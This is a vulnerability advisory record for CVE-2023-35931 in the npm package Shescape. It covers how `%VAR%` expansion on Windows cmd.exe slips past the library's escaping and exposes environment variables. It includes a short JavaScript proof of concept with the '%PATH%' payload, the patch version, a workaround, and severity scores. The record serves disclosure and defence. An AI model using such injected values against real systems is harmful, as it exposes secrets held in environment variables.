{"id":"CVE-2023-35931","aliases":["GHSA-3g7p-8qhx-mc8r"],"url":"https://o3.security/vulnerability/CVE-2023-35931","summary":"Shescape potential environment variable exposure on Windows with CMD","details":"### Impact\n\nThis impact users of Shescape:\n\n1. On Windows using the Windows Command Prompt (i.e. `cmd.exe`), and\n2. Using `quote`/`quoteAll` or `escape`/`escapeAll` with the `interpolation` option set to `true`.\n\nAn attacker may be able to get read-only access to environment variables. Example:\n\n```javascript\nimport * as cp from \"node:child_process\";\nimport * as shescape from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n    shell: \"cmd.exe\",\n    // Or\n    shell: undefined, // Only if the default shell is CMD\n\n    // And\n    interpolation: true, // Only applies to `escape` and `escapeAll` usage\n}\n\n// 2. Attack (one of many)\nconst payload = \"%PATH%\";\n\n// 3. Usage\nlet escapedPayload;\n\nescapedPayload = shescape.quote(payload, options);\n// Or\nescapedPayload = shescape.quoteAll([payload], options);\n// Or\nescapedPayload = shescape.escape(payload, options);\n// Or\nescapedPayload = shescape.escapeAll([payload], options);\n\n// And (example)\nconst result = cp.execSync(`echo Hello ${escapedPayload}`, options);\n\n// 4. Impact\nconsole.log(result.toString());\n// Outputs \"Hello\" followed by the contents of the PATH environment variable\n```\n\n### Patches\n\nThis bug has been patched in [v1.7.1](https://github.com/ericcornelissen/shescape/releases/tag/v1.7.1) which you can upgrade to now. No further changes are required.\n\n### Workarounds\n\nAlternatively, users can remove all instances of `%` from user input, either before or after using Shescape.\n\n### References\n\n- Shescape Pull request [#982](https://github.com/ericcornelissen/shescape/pull/982)\n- Shescape commit [`d0fce70`](https://github.com/ericcornelissen/shescape/commit/d0fce70f987ac0d8331f93cb45d47e79436173ac)\n- Shescape Release [v1.7.1](https://github.com/ericcornelissen/shescape/releases/tag/v1.7.1)\n","published":"2023-06-23T19:32:53.897Z","modified":"2026-08-12T03:51:40.705684361Z","cvss":{"score":3.1,"severity":"LOW","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N"},"epss":{"score":0.00811,"percentile":0.53801,"asOf":"2026-08-23"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"shescape","fixedVersion":"1.7.1"}],"fix":{"url":"https://github.com/ericcornelissen/shescape/commit/d0fce70f987ac0d8331f93cb45d47e79436173ac","label":"ericcornelissen/shescape@d0fce70"},"references":[{"type":"WEB","url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.7.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/35xxx/CVE-2023-35931.json"},{"type":"ADVISORY","url":"https://github.com/ericcornelissen/shescape/security/advisories/GHSA-3g7p-8qhx-mc8r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-35931"},{"type":"FIX","url":"https://github.com/ericcornelissen/shescape/commit/d0fce70f987ac0d8331f93cb45d47e79436173ac"},{"type":"FIX","url":"https://github.com/ericcornelissen/shescape/pull/982"},{"type":"PACKAGE","url":"https://github.com/ericcornelissen/shescape"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:40.705684361Z"}}